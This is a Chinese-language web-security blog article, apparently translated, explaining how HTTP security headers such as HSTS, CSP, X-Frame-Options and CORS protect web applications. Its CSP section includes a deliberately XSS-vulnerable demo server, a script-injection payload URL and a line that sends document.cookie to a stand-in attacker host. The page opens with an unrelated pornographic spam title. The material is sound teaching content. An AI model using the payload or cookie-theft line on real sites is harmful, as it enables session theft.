国产xxxx99真实实拍_久久不雅视频_高清韩国a级特黄毛片_嗯老师别我我受不了了小说

資訊專欄INFORMATION COLUMN

Web 應(yīng)用安全性: 使用這些 HTTP 頭保護(hù) Web 應(yīng)用

spademan / 2002人閱讀

摘要:綜上所述,認(rèn)為沒(méi)有提供的保護(hù),用戶會(huì)過(guò)得更好安全研究人員并不完全反對(duì)這一決定。內(nèi)容安全策略是一個(gè)額外的安全層,用于檢測(cè)并削弱某些特定類型的攻擊,包括跨站腳本和數(shù)據(jù)注入攻擊等。

這是關(guān)于web安全性系列文章的第 三 篇,其它的可點(diǎn)擊以下查看:

Web 應(yīng)用安全性: 瀏覽器是如何工作的

Web 應(yīng)用安全性: HTTP簡(jiǎn)介

目前,瀏覽器已經(jīng)實(shí)現(xiàn)了大量與安全相關(guān)的頭文件,使攻擊者更難利用漏洞。接下來(lái)的講解它們的使用方式、它們防止的攻擊類型以及每個(gè)頭后面的一些歷史。

想閱讀更多優(yōu)質(zhì)文章請(qǐng)猛戳GitHub博客,一年百來(lái)篇優(yōu)質(zhì)文章等著你!

HTTP Strict Transport Security (HSTS)
HSTS(HTTP Strict Transport Security)國(guó)際互聯(lián)網(wǎng)工程組織IETF正在推行一種新的Web安全協(xié)議,HSTS 的作用是強(qiáng)制客戶端(如瀏覽器)使用 HTTPS 與服務(wù)器創(chuàng)建連接。

自 2012 年底以來(lái),HTTPS 無(wú)處不在的支持者發(fā)現(xiàn),由于 HTTP 嚴(yán)格傳輸安全性,強(qiáng)制客戶端總是使用 HTTP 協(xié)議的安全版本更容易:一個(gè)非常簡(jiǎn)單的設(shè)置 Strict-Transport-Security: max-age=3600 將告訴瀏覽器 對(duì)于下一個(gè)小時(shí)(3600秒),它不應(yīng)該與具有不安全協(xié)議的應(yīng)用程序進(jìn)行交互。

當(dāng)用戶嘗試通過(guò) HTTP 訪問(wèn)由 HSTS 保護(hù)的應(yīng)用程序時(shí),瀏覽器將拒絕繼續(xù)訪問(wèn),自動(dòng)將 http:// 的 URL 轉(zhuǎn)換為 https://

你可以使用 github.com/odino/wasec/tree/master/hsts 中的代碼在本地測(cè)試這個(gè)。你需要遵循 README 中的說(shuō)明(它們通過(guò) mkcert 工具在你的電腦上的localhost 安裝可信的 SSL 證書(shū)),然后嘗試打開(kāi) https://localhost:7889

在這個(gè)示例中有兩個(gè)服務(wù)器,一個(gè) HTTPS 服務(wù)器監(jiān)聽(tīng) 7889,另一個(gè) HTTP 服務(wù)器監(jiān)聽(tīng)端口 7888。當(dāng)你訪問(wèn) HTTPS 服務(wù)器時(shí),它總是試圖重定向到 HTTP 版本,這將正常工作,因?yàn)?HTTPS 服務(wù)器上沒(méi)有 HSTS 策略。如果在 URL 中添加 hsts=on 參數(shù),瀏覽器將強(qiáng)制將重定向中的鏈接轉(zhuǎn)換為 https:// 版本。由于 7888 上的服務(wù)器只支持 http,所以最終將看到類似于這樣的頁(yè)面。

你可能想知道用戶第一次訪問(wèn)你的網(wǎng)站時(shí)會(huì)發(fā)生什么,因?yàn)槭孪葲](méi)有定義 HSTS 策略:攻擊者可能會(huì)欺騙用戶訪問(wèn)你網(wǎng)站的 http:// 版本并在那里進(jìn)行攻擊,所以仍然存在問(wèn)題,因?yàn)?HSTS 是對(duì)首次使用機(jī)制的信任,它試圖做的是確保,一旦你訪問(wèn)過(guò)網(wǎng)站,瀏覽器就知道后續(xù)交互必須使用 HTTPS

解決這個(gè)缺點(diǎn)的一個(gè)方法是維護(hù)一個(gè)海量的數(shù)據(jù)庫(kù),其中包含了執(zhí)行 HSTS 的網(wǎng)站,這是Chrome 通過(guò) hstspreload.org 實(shí)現(xiàn)的。你必須首先設(shè)置安全的方案,然后訪問(wèn)網(wǎng)站并檢查它是否符合添加到數(shù)據(jù)庫(kù)的條件。例如,我們可以在這看到 Facebook 榜上有名。

將你的的網(wǎng)站提交到這個(gè)列表中,就可以提前告訴瀏覽器你的網(wǎng)站使用 HSTS,這樣即使客戶端和服務(wù)器之間的第一次交互也將通過(guò)一個(gè)安全通道進(jìn)行。但是這是有代價(jià)的,因?yàn)槟愦_實(shí)需要投入到 HSTS 中。如果你希望你的網(wǎng)站從列表中刪除,這對(duì)瀏覽器廠商來(lái)說(shuō)不是件容易的事:

請(qǐng)注意,預(yù)加載列表中的內(nèi)容無(wú)法輕松撤消。

域名可以被移除,但是 Chrome 的更新需要幾個(gè)月的時(shí)間才能讓用戶看到變化,我們不能保證其他瀏覽器也一樣。不要請(qǐng)求包含,除非您確定能夠長(zhǎng)期支持整個(gè)站點(diǎn)及其所有子域的HTTPS。

這是因?yàn)楣?yīng)商不能保證所有用戶都使用最新版本的瀏覽器,而你的站點(diǎn)已從列表中刪除。仔細(xì)考慮,并根據(jù)你對(duì) HSTS 的信心程度和長(zhǎng)期支持 HSTS 的能力做出決定。

HTTP Public Key Pinning (HPKP)

HTTP 公鑰固定是一種安全機(jī)制,它的工作原理是通過(guò)響應(yīng)頭或者 標(biāo)簽告訴瀏覽器當(dāng)前網(wǎng)站的證書(shū)指紋,以及過(guò)期時(shí)間等其它信息。未來(lái)一段時(shí)間內(nèi),瀏覽器再次訪問(wèn)這個(gè)網(wǎng)站必須驗(yàn)證證書(shū)鏈中的證書(shū)指紋,如果跟之前指定的值不匹配,即便證書(shū)本身是合法的,也必須斷開(kāi)連接。

目前 Firefox 35+ 和 Chrome 38+ 已經(jīng)支持, HPKP 基本格式如下:

Public-Key-Pins:
  pin-sha256="9yw7rfw9f4hu9eho4fhh4uifh4ifhiu=";
  pin-sha256="cwi87y89f4fh4fihi9fhi4hvhuh3du3=";
  max-age=3600; includeSubDomains;
  report-uri="https://pkpviolations.example.org/collect"

各字段含義如下:

pin-sha256 即證書(shū)指紋,允許出現(xiàn)多次(實(shí)際上最少應(yīng)該指定兩個(gè));

max-age 和 includeSubdomains 分別是過(guò)期時(shí)間和是否包含子域,它們?cè)?HSTS(HTTP Strict Transport Security)中也有,格式和含義一致;

report-uri用來(lái)指定驗(yàn)證失敗時(shí)的上報(bào)地址,格式和含義跟 CSP(Content Security Policy)中的同名字段一致;

includeSubdomains 和 report-uri 兩個(gè)參數(shù)均為可選;

報(bào)頭使用證書(shū)的散列列出服務(wù)器將使用哪些證書(shū)(在本例中是其中的兩個(gè)證書(shū)),并包含附加信息,比如這個(gè)指令的生存時(shí)間(max-age=3600)和其他一些細(xì)節(jié)。遺憾的是,我們沒(méi)有必要深入了解我們可以用公鑰釘固定做什么,因?yàn)檫@個(gè)功能已經(jīng)被 Chrome 棄用了——這是一個(gè)信號(hào),這一信號(hào)表明它的采用很快就會(huì)直線下降。

Chrome 的決定并不是不理性的,而僅僅是與公鑰固定相關(guān)的風(fēng)險(xiǎn)的結(jié)果。如果wq丟失了證書(shū),或者只是在測(cè)試時(shí)犯了一個(gè)錯(cuò)誤,你的網(wǎng)站將無(wú)法訪問(wèn)之前訪問(wèn)過(guò)該網(wǎng)站的用戶(在max-age指令期間,通常是幾周或幾個(gè)月)。

由于這些潛在的災(zāi)難性后果,HPKP 的使用率一直非常低,并且出現(xiàn)了由于錯(cuò)誤配置導(dǎo)致大型網(wǎng)站無(wú)法訪問(wèn)的事件。綜上所述,Chrome 認(rèn)為沒(méi)有 HPKP提 供的保護(hù),用戶會(huì)過(guò)得更好——安全研究人員并不完全反對(duì)這一決定。

Expect-CT

雖然 HPKP 已經(jīng)被棄用,但是一個(gè)新的頭介入進(jìn)來(lái),防止欺騙 SSL 證書(shū)被提供給客戶端:Expect-CT

Expect-CT 頭允許站點(diǎn)選擇性報(bào)告和/或執(zhí)行證書(shū)透明度 (Certificate Transparency) 要求,來(lái)防止錯(cuò)誤簽發(fā)的網(wǎng)站證書(shū)的使用不被察覺(jué)。當(dāng)站點(diǎn)啟用 Expect-CT 頭,就是在請(qǐng)求瀏覽器檢查該網(wǎng)站的任何證書(shū)是否出現(xiàn)在公共證書(shū)透明度日志之中。

CT 基本格式如下:

Expect-CT: max-age=3600, enforce, report-uri="https://ct.example.com/report"

max-age

該指令指定接收到 Expect-CT 頭后的秒數(shù),在此期間用戶代理應(yīng)將收到消息的主機(jī)視為已知的 Expect-CT 主機(jī)。

如果緩存接收到的值大于它可以表示的值,或者如果其隨后計(jì)算溢出,則緩存將認(rèn)為該值為2147483648(2的31次冪)或其可以方便表示的最大正整數(shù)。

report-uri="" 可選

該指令指定用戶代理應(yīng)向其報(bào)告 Expect-CT 失效的 URI。

當(dāng) enforce 指令和 report-uri 指令共同存在時(shí),這種配置被稱為“強(qiáng)制執(zhí)行和報(bào)告”配置,示意用戶代理既應(yīng)該強(qiáng)制遵守證書(shū)透明度政策,也應(yīng)當(dāng)報(bào)告違規(guī)行為。

enforce 可選

該指令示意用戶代理應(yīng)強(qiáng)制遵守證書(shū)透明度政策(而不是只報(bào)告合規(guī)性),并且用戶代理應(yīng)拒絕違反證書(shū)透明度政策的之后連接。

當(dāng) enforce 指令和 report-uri 指令共同存在時(shí),這種配置被稱為“強(qiáng)制執(zhí)行和報(bào)告”配置,示意用戶代理既應(yīng)該強(qiáng)制遵守證書(shū)透明度政策,也應(yīng)當(dāng)報(bào)告違規(guī)行為。

CT 計(jì)劃的目標(biāo)是比以前使用的任何其他方法更早、更快、更精確地檢測(cè)錯(cuò)誤頒發(fā)的或惡意的證書(shū)(以及流氓證書(shū)頒發(fā)機(jī)構(gòu))。

通過(guò)選擇使用 Expect-CT 頭,你可以利用這一優(yōu)勢(shì)來(lái)改進(jìn)應(yīng)用程序的安全狀態(tài)。

X-Frame-Options

想象一下,在你的屏幕前彈出這樣一個(gè)網(wǎng)頁(yè):

只要你點(diǎn)擊這個(gè)鏈接,你就會(huì)發(fā)現(xiàn)你銀行賬戶里的錢(qián)都不見(jiàn)了,發(fā)生了什么事?

你是點(diǎn)擊劫持攻擊的受害者。

攻擊者將你引導(dǎo)至他們的網(wǎng)站,該網(wǎng)站顯示了一個(gè)非常有吸引力的點(diǎn)擊鏈接。 不幸的是,他還在頁(yè)面中嵌入了帶了鏈接地址 your-bank.com/transfer?amount=-1&[attacker@gmail.com的 iframe,且通過(guò)設(shè)置透明度為 0%來(lái)隱藏它。

然后發(fā)生的事情是想到點(diǎn)擊原始頁(yè)面,試圖贏得一個(gè)全新的悍馬,這時(shí)瀏覽器上iframe上捕獲了一個(gè)點(diǎn)擊,這是一個(gè)確認(rèn)轉(zhuǎn)移資金的危險(xiǎn)點(diǎn)擊。

大多數(shù)銀行系統(tǒng)要求你指定一次性 PIN 碼來(lái)確認(rèn)交易,但你的銀行沒(méi)有趕上時(shí)間且你的所有資金都已被轉(zhuǎn)走了。

這個(gè)例子非常極端,但應(yīng)該讓你了解點(diǎn)擊劫持攻擊 可能帶來(lái)的后果。 用戶打算單擊特定鏈接,而瀏覽器將觸發(fā)嵌入 iframe 中“不可見(jiàn)”頁(yè)面上的點(diǎn)擊。

幸運(yùn)的是,瀏覽器為這個(gè)問(wèn)題提供了一個(gè)簡(jiǎn)單的解決方案: X-Frame-Options (XFO),它允許您人定是否可以將應(yīng)用程序作為 iframe 嵌入外部網(wǎng)站。由于 Internet Explorer 8 的普及,XFO 于2009 年首次引入,現(xiàn)在仍然受到所有主流瀏覽器的支持。

它的工作原理是,當(dāng)瀏覽器看到 iframe 時(shí),加載它并在渲染它之前驗(yàn)證它的 XFO 是否允許它包含在當(dāng)前頁(yè)面中。

X-Frame-Options 有三個(gè)值:

DENY:表示該頁(yè)面不允許在 frame 中展示,即便是在相同域名的頁(yè)面中嵌套也不允許。

SAMEORIGIN:表示該頁(yè)面可以在相同域名頁(yè)面的 frame 中展示。

ALLOW-FROM uri :表示該頁(yè)面可以在指定來(lái)源的 frame 中展示。

換一句話說(shuō),如果設(shè)置為 DENY,不光在別人的網(wǎng)站 frame 嵌入時(shí)會(huì)無(wú)法加載,在同域名頁(yè)面中同樣會(huì)無(wú)法加載。另一方面,如果設(shè)置為 SAMEORIGIN,那么頁(yè)面就可以在同域名頁(yè)面的 frame 中嵌套。

包含最嚴(yán)格的 XFO 策略的 HTTP 響應(yīng)示例如下:

HTTP/1.1 200 OK
Content-Type: application/json
X-Frame-Options: DENY
...

為了展示啟用 XFO 時(shí)瀏覽器的行為,我們只需將示例的 URL 更改為 http://localhost:7888/?xfo=onxfo=on 參數(shù)告訴服務(wù)器在響應(yīng)中包含 X-Frame-Options: deny,我們可以看到瀏覽器如何限制對(duì) iframe 的訪問(wèn):

XFO被認(rèn)為是防止基于框架的點(diǎn)擊劫持攻擊的最佳方法,直到數(shù)年后出現(xiàn)了另一種報(bào)頭,即內(nèi)容安全策略(Content Security Policy,簡(jiǎn)稱CSP)

Content Security Policy (CSP)

內(nèi)容安全策略(CSP) 是一個(gè)額外的安全層,用于檢測(cè)并削弱某些特定類型的攻擊,包括跨站腳本 (XSS) 和數(shù)據(jù)注入攻擊等。無(wú)論是數(shù)據(jù)盜取、網(wǎng)站內(nèi)容污染還是散發(fā)惡意軟件,這些攻擊都是主要的手段。

為使CSP可用, 你需要配置你的網(wǎng)絡(luò)服務(wù)器返回 Content-Security-Policy HTTP頭部 ( 有時(shí)你會(huì)看到一些關(guān)于 X-Content-Security-Policy 頭部的提法, 那是舊版本,你無(wú)須再如此指定它)。

要了解 CSP 如何幫助我們,我們首先應(yīng)該考慮攻擊媒介。 假設(shè)我們剛剛構(gòu)建了自己的 Google 搜索,這是一個(gè)帶有提交按鈕的簡(jiǎn)單輸入文本。

這個(gè) web 應(yīng)用程序沒(méi)有什么神奇的功能。只是,

顯示一個(gè)表單

讓用戶執(zhí)行搜索

顯示搜索結(jié)果和用戶搜索的關(guān)鍵字

當(dāng)我們執(zhí)行簡(jiǎn)單搜索時(shí),這就是應(yīng)用程序返回的內(nèi)容:

我們的應(yīng)用程序非常理解我們的搜索,并找到了一個(gè)相關(guān)的圖像。如果我們深入研究源代碼,可以在github.com/odino/wasec/tree/master/xss.com 上找到,我們很快就會(huì)發(fā)現(xiàn)應(yīng)用程序存在安全問(wèn)題,因?yàn)橛脩羲阉鞯娜魏侮P(guān)鍵字都直接打印在提供給客戶端的 HTML 響應(yīng)中:

var qs = require("querystring")
var url = require("url")
var fs = require("fs")
require("http").createServer((req, res) => {
  let query = qs.parse(url.parse(req.url).query)
  let keyword = query.search || ""
  let results = keyword ? `You searched for "${keyword}", we found:
` : `Try searching...` res.end(fs.readFileSync(__dirname + "/index.html").toString().replace("__KEYWORD__", keyword).replace("__RESULTS__", results)) }).listen(7888)

Search The Web

__RESULTS__

這帶來(lái)了一個(gè)糟糕的后果。攻擊者可以創(chuàng)建一個(gè)特定的鏈接,在受害者瀏覽器中執(zhí)行任意JavaScript。

如果你有時(shí)間和耐心在本地運(yùn)行示例,你將能夠快速了解 CSP 的強(qiáng)大功能。 我添加了一個(gè)啟用CSP的查詢字符串參數(shù),因此我們可以嘗試在啟用 CSP 的情況下導(dǎo)航到惡意 URL:

http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on

正如你在上面的例子中所看到的,我們已經(jīng)告訴瀏覽器,我們的 CSP 策略只允許腳本包含在當(dāng)前 URL 的同一來(lái)源,我們可以通過(guò)展開(kāi) URL 和查看響應(yīng)頭來(lái)驗(yàn)證:

$ curl -I "http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on"

HTTP/1.1 200 OK
X-XSS-Protection: 0
Content-Security-Policy: default-src "self"
Date: Sat, 11 Aug 2018 10:46:27 GMT
Connection: keep-alive

由于 XSS 攻擊是通過(guò)內(nèi)聯(lián)腳本(直接嵌入到HTML內(nèi)容中的腳本)進(jìn)行的,所以瀏覽器友好地拒絕執(zhí)行它,以保證用戶的安全。想象一下,如果攻擊者不是簡(jiǎn)單地顯示一個(gè)警告對(duì)話框,而是通過(guò)一些JavaScript代碼將重定向到自己的域,代碼可能如下:

window.location = `attacker.com/${document.cookie}`

他們本來(lái)可以竊取所有用戶的 cookie,其中可能包含高度敏感的數(shù)據(jù)(下一篇文章中有更多內(nèi)容)。

CSP的一個(gè)有趣的變化是 report-only 模式。可以不使用 Content-Security-Policy 頭文件,而是首先使用 Content-Security-Policy-Report-Only 頭文件測(cè)試 CSP 對(duì)你的網(wǎng)站的影響,方法是告訴瀏覽器簡(jiǎn)單地報(bào)告錯(cuò)誤,而不阻塞腳本執(zhí)行,等等。

通過(guò)報(bào)告,你可以了解要推出的 CSP 策略可能導(dǎo)致的重大更改,并相應(yīng)地進(jìn)行修復(fù)。 我們甚至可以指定報(bào)告網(wǎng)址,瀏覽器會(huì)向我們發(fā)送報(bào)告。 以下是 report-only 策略的完整示例:

Content-Security-Policy: default-src "self"; report-uri http://cspviolations.example.com/collector

CSP 策略本身可能有點(diǎn)復(fù)雜,如下例所示:

Content-Security-Policy: default-src "self"; script-src scripts.example.com; img-src *; media-src medias.example.com medias.legacy.example.com

本策略定義了以下規(guī)則:

可執(zhí)行腳本(例如JavaScript)只能從 scripts.example.com 加載

圖像可以從任何源(img-src: *)

視頻或音頻內(nèi)容可以從兩個(gè)來(lái)源加載: medias.example.commedias.legacy.example.com

正如你所看到的,策略可能會(huì)變得很長(zhǎng),如果我們想確保為用戶提供最高的保護(hù),這可能會(huì)成為一個(gè)相當(dāng)乏味的過(guò)程。不過(guò),編寫(xiě)全面的 CSP 策略是向 web 應(yīng)用程序添加額外安全層的重要一步。

X-XSS-Protection

HTTP X-XSS-Protection 響應(yīng)頭是Internet Explorer,Chrome和Safari的一個(gè)功能,當(dāng)檢測(cè)到跨站腳本攻擊 (XSS)時(shí),瀏覽器將停止加載頁(yè)面。雖然這些保護(hù)在現(xiàn)代瀏覽器中基本上是不必要的,當(dāng)網(wǎng)站實(shí)施一個(gè)強(qiáng)大的 Content-Security-Policy 來(lái)禁用內(nèi)聯(lián)的 JavaScript ("unsafe-inline")時(shí), 他們?nèi)匀豢梢詾樯胁恢С?CSP 的舊版瀏覽器的用戶提供保護(hù)。

它的語(yǔ)法和我們剛才看到的非常相似:

X-XSS-Protection: 1; report=http://xssviolations.example.com/collector

XSS 是最常見(jiàn)的攻擊類型,其中未經(jīng)過(guò)驗(yàn)證的服務(wù)器打印出未經(jīng)過(guò)處理的輸入,而且這個(gè)標(biāo)題真正發(fā)揮作用。 如果你想親眼看到這個(gè),我建議你試試 github.com/odino/wasec/tree/master/xss 上的例子。

xss=on 附加到 URL 上,它顯示了當(dāng) XSS 保護(hù)時(shí)瀏覽器做了什么 打開(kāi)了。 如果我們?cè)谒阉骺蛑休斎霅阂庾址?

令人驚訝的是,Chrome 非常謹(jǐn)慎,它將阻止頁(yè)面渲染,使得 XSS 的攻擊非常難以實(shí)現(xiàn)。

Feature policy

2018 年 7 月,安全研究員 Scott Helme 發(fā)表了一篇非常有趣的博客文章,詳細(xì)介紹了正在開(kāi)發(fā)的一個(gè)新的安全標(biāo)頭: Feature-Policy

目前只有很少的瀏覽器(在撰寫(xiě)本文時(shí)是Chrome和Safari)支持這個(gè)標(biāo)頭,它允許我們定義當(dāng)前頁(yè)面中是否啟用了特定的瀏覽器功能。使用與 CSP 非常相似的語(yǔ)法,比如下面這個(gè):

Feature-Policy: vibrate "self"; push *; camera "none"

如果我們對(duì)此策略如何影響頁(yè)面可用的瀏覽器 API 仍有疑問(wèn),我們可以簡(jiǎn)單地剖析它:

vibrate "self":這將允許當(dāng)前頁(yè)面使用vibration API 和同一源上的任何嵌套瀏覽上下文(iframe)

push *:當(dāng)前頁(yè)面和任何 iframe 都可以使用 push notification API

camera "none":當(dāng)前頁(yè)面和任何嵌套上下文(iframe)都拒絕訪問(wèn) camera API

feature policy 的歷史可能很短,但是搶先一步也無(wú)妨。例如,如果你的網(wǎng)站允許用戶自拍或錄制音頻,那么使用限制其他上下文通過(guò)你的頁(yè)面訪問(wèn) API 的策略將非常有益。

X-Content-Type-Options

有時(shí)候,從安全的角度來(lái)看,聰明的瀏覽器功能最終會(huì)傷害我們。 一個(gè)明顯的例子是 MIME嗅探(MIME-sniffing),這是一種由 Internet Explorer 推廣的技術(shù)。

MIME 嗅探是瀏覽器自動(dòng)檢測(cè)(和修復(fù))正在下載的資源的內(nèi)容類型的能力。 例如,我們要求瀏覽器渲染圖片 /awesome-picture.png ,但服務(wù)器在向?yàn)g覽器提供圖像時(shí)設(shè)置了錯(cuò)誤的類型(例如,Content-Type:text/plain),這通常會(huì)導(dǎo)致瀏覽器無(wú)法正確顯示圖像。

為了解決這個(gè)問(wèn)題,IE 竭盡全力實(shí)現(xiàn) MIME 嗅探功能:當(dāng)下載資源時(shí),瀏覽器會(huì)“掃描”它,如果它會(huì)檢測(cè)到資源的內(nèi)容類型不是由在 Content-Type 標(biāo)頭中的服務(wù)器,它將忽略服務(wù)器發(fā)送的類型并根據(jù)瀏覽器檢測(cè)到的類型解釋資源。

現(xiàn)在,想象一下,托管一個(gè)網(wǎng)站,允許用戶上傳自己的圖像,并想象用戶上傳包含 JavaScript 代碼的 /test.jpg 文件。 看看這是怎么回事? 上傳文件后,該網(wǎng)站會(huì)將其包含在自己的 HTML 中,當(dāng)瀏覽器嘗試渲染文檔時(shí),它會(huì)找到用戶剛剛上傳的“圖像”。 當(dāng)瀏覽器下載圖像時(shí),它會(huì)檢測(cè)到它是一個(gè)腳本,并在受害者的瀏覽器上執(zhí)行它。

為了避免這個(gè)問(wèn)題,我們可以設(shè)置 X-Content-Type-Options:nosniheader,它完全禁用 MIME 嗅探:通過(guò)這樣做,我們告訴瀏覽器,我們完全知道某些文件可能在類型和內(nèi)容方面不匹配,瀏覽器不應(yīng)該擔(dān)心這個(gè)問(wèn)題。我們知道我們?cè)谧鍪裁矗詾g覽器不應(yīng)該試圖猜測(cè),可能對(duì)我們的用戶構(gòu)成安全威脅。

Cross-Origin Resource Sharing (CORS)

在瀏覽器上,通過(guò) JavaScript,HTTP 請(qǐng)求只能在同一個(gè)源上觸發(fā)。 簡(jiǎn)而言之,example.com 的AJAX 請(qǐng)求只能連接到 example.com

這是因?yàn)槟愕臑g覽器包含攻擊者的有用信息 - Cookie,通常用于跟蹤用戶的會(huì)話。 想象一下,如果攻擊者在 win-a-hummer.com 上設(shè)置惡意頁(yè)面,會(huì)立即向 your-bank.com 發(fā)出 AJAX 請(qǐng)求。

如果你在銀行的網(wǎng)站上登錄,則攻擊者可以使用你的憑據(jù)執(zhí)行 HTTP 請(qǐng)求,可能會(huì)竊取信息,或者更糟糕的是,將你的銀行帳戶清除掉。

不過(guò),在某些情況下可能需要執(zhí)行跨域 AJAX 請(qǐng)求,這就是瀏覽器實(shí)現(xiàn)跨跨資源共享(Cross Origin Resource Sharing, CORS)的原因,這是一組允許執(zhí)行跨域請(qǐng)求的指令。

CORS 背后的機(jī)制非常復(fù)雜,我們不可能通讀整個(gè)規(guī)范,所以我將重點(diǎn)介紹 CORS 的“簡(jiǎn)化”版本。

現(xiàn)在,你只需要知道,通過(guò)使用 Access-Control-Allow-Origin 頭,應(yīng)用程序告訴瀏覽器可以接收來(lái)自其他域的請(qǐng)求。

這個(gè)寬松的形式設(shè)置 Access-Control-Allow-Origin: *,它允許任何域訪問(wèn)我們的應(yīng)用程序,但是我們可以通過(guò)使用 Access-Control-Allow-Origin: https://example.com 添加我們想要列入白名單的 URL 來(lái)限制它。

如果我們看看 github.com/odino/wasec/tree/master/cors 上的示例,我們可以清楚地看到瀏覽器如何阻止訪問(wèn)多帶帶來(lái)源的資源。 我已經(jīng)設(shè)置了一個(gè)示例,用于從 test-corstest-cors-2 發(fā)出 AJAX 請(qǐng)求,并將操作結(jié)果打印到瀏覽器。 當(dāng) test-cors-2 后面的服務(wù)器被指示使用 CORS 時(shí),頁(yè)面按預(yù)期工作。 嘗試導(dǎo)航到 http://cors-test:7888/?cors=on

但是當(dāng)我們從 UR L中刪除 cors 參數(shù)時(shí),瀏覽器會(huì)介入并阻止我們?cè)L問(wèn)響應(yīng)的內(nèi)容:

我們需要理解的一個(gè)重要方面是瀏覽器執(zhí)行了請(qǐng)求,但阻止了客戶端訪問(wèn)它。 這非常重要,因?yàn)槿绻覀兊恼?qǐng)求會(huì)對(duì)服務(wù)器產(chǎn)生任何副作用,它仍然會(huì)使我們?nèi)菀资艿焦簟?想象一下,例如,如果我們的銀行允許通過(guò)簡(jiǎn)單地調(diào)用 my-bank.com/transfer?amount=1000&from=me&to=attacker 來(lái)轉(zhuǎn)移資金,那將是一場(chǎng)災(zāi)難!

正如我們?cè)诒鞠盗械谝黄v到,GET 請(qǐng)求應(yīng)該是冪等的,但如果我們嘗試用 POST 請(qǐng)求會(huì)發(fā)生什么? 幸運(yùn)的是,在示例中包含了這個(gè)場(chǎng)景,通過(guò)導(dǎo)航到 http://cors-test:7888/?method=POST:來(lái)嘗試:

瀏覽器發(fā)出“預(yù)檢”請(qǐng)求,而不是直接執(zhí)行我們的 POST 請(qǐng)求,這可能會(huì)導(dǎo)致服務(wù)器出現(xiàn)嚴(yán)重問(wèn)題。 這只是對(duì)服務(wù)器的 OPTIONS 請(qǐng)求,要求它驗(yàn)證我們的來(lái)源是否被允許。 在這種情況下,服務(wù)器沒(méi)有正面響應(yīng),因此瀏覽器停止進(jìn)程,我們的 POST 請(qǐng)求永遠(yuǎn)不會(huì)到達(dá)目標(biāo)。

這告訴我們一些事情:

CORS 不是一個(gè)簡(jiǎn)單的規(guī)范,很多場(chǎng)景需要牢記,你可以很容易地混淆預(yù)檢請(qǐng)求等功能的細(xì)微差別。

永遠(yuǎn)不要暴露通過(guò) GET 改變狀態(tài)的 API。 攻擊者可以在沒(méi)有預(yù)檢請(qǐng)求的情況下觸發(fā)這些請(qǐng)求,這意味著根本沒(méi)有保護(hù)。

根據(jù)經(jīng)驗(yàn),我發(fā)現(xiàn)自己更愿意設(shè)置代理,以便將請(qǐng)求轉(zhuǎn)發(fā)到正確的服務(wù)器,而不是使用 CORS。這意味著運(yùn)行在 example.com 上的應(yīng)用程序可以在 example.com/_proxy/other.com 設(shè)置一個(gè)代理,這樣所有位于 _proxy/other.com/* 下的請(qǐng)求都可以代理到 other.com

X-Permitted-Cross-Domain-Policies

與 CORS 非常相似的是,X-Permitted-Cross-Domain-Policies 針對(duì) Adobe 產(chǎn)品(即Flash和Acrobat)的跨域策略。

我不會(huì)詳細(xì)介紹,因?yàn)檫@是一個(gè)針對(duì)非常特定用例的標(biāo)頭。長(zhǎng)話短說(shuō),Adobe 產(chǎn)品通過(guò)請(qǐng)求目標(biāo)域根目錄中的 cross-domain.xml 文件處理跨域請(qǐng)求,并且 X-Permitted-Cross-Domain-Policies 定義了訪問(wèn)該文件的策略。

聽(tīng)起來(lái)復(fù)雜嗎?我只建議添加一個(gè) X-Permitted-Cross-Domain-Policies: none 并忽略希望使用 Flash 跨域請(qǐng)求的客戶端。

Referrer-Policy

在我們職業(yè)生涯的開(kāi)始,我們可能都犯了同樣的錯(cuò)誤。使用 Referer 頭在我們的網(wǎng)站上實(shí)現(xiàn)安全限制。如果頭部在我們定義的白名單中包含一個(gè)特定的 URL,我們將允許用戶訪問(wèn)。

Referrer-Policy 頭文件誕生于 2017 年初,目前受到所有主流瀏覽器的支持,它可以告訴瀏覽器,它應(yīng)該只屏蔽 Referer 頭文件中的URL,或者完全省 略URL,從而緩解這些隱私問(wèn)題。

Referrer-Policy 一些最常見(jiàn)的值是:

no-referrer:整個(gè) Referer 首部會(huì)被移除。訪問(wèn)來(lái)源信息不隨著請(qǐng)求一起發(fā)送。

origin:在任何情況下,僅發(fā)送文件的源作為引用地址。例如 https://example.com/page.html 會(huì)將 https://example.com/ 作為引用地址。

same-origin:對(duì)于同源的請(qǐng)求會(huì)發(fā)送引用地址,但是對(duì)于非同源請(qǐng)求則不發(fā)送引用地址信息。

值得注意的是,Referrer-Policy 有很多變體(trict-originno-referrer-when-downgrade等等),但是我上面提到的這些變體可能會(huì)涵蓋你的大多數(shù)用例。如果你希望更好地理解你可以使用的每一個(gè)變體,可以訪問(wèn) OWASP dedicated page 了解。

Origin 標(biāo)頭與 Referer 非常相似,因?yàn)樗怯蔀g覽器在跨域請(qǐng)求中發(fā)送的,以確保允許調(diào)用者訪問(wèn)不同域上的資源。 Origin 標(biāo)頭由瀏覽器控制,因此惡意用戶無(wú)法篡改它。 你可能會(huì)將其用作Web應(yīng)用程序的防火墻:如果 Origin 位于我們的白名單中,請(qǐng)讓請(qǐng)求通過(guò)。

但有一點(diǎn)需要考慮的是,其他 HTTP 客戶端(如c URL)可以呈現(xiàn)自己的來(lái)源:簡(jiǎn)單的 curl -H "Origin: example.com" api.example.com 將使所有基于源的防火墻規(guī)則效率低下...... ...... 這就是為什么你不能依靠 Origin(或者我們剛才看到的 Referer)來(lái)構(gòu)建防火墻來(lái)阻止惡意客戶端。

有狀態(tài) HTTP:使用 cookie 管理會(huì)話

本文應(yīng)該向我們介紹一些有趣的 HTTP 標(biāo)頭,讓我們了解它們?nèi)绾瓮ㄟ^(guò)特定于協(xié)議的功能強(qiáng)化我們的Web 應(yīng)用程序,以及主流瀏覽器的一些幫助。

在下一篇文章中,我們將深入研究HTTP協(xié)議中最容易被誤解的特性之一: cookie

代碼部署后可能存在的BUG沒(méi)法實(shí)時(shí)知道,事后為了解決這些BUG,花了大量的時(shí)間進(jìn)行l(wèi)og 調(diào)試,這邊順便給大家推薦一個(gè)好用的BUG監(jiān)控工具 Fundebug。

你的點(diǎn)贊是我持續(xù)分享好東西的動(dòng)力,歡迎點(diǎn)贊!

交流

干貨系列文章匯總?cè)缦拢X(jué)得不錯(cuò)點(diǎn)個(gè)Star,歡迎 加群 互相學(xué)習(xí)。

https://github.com/qq44924588...

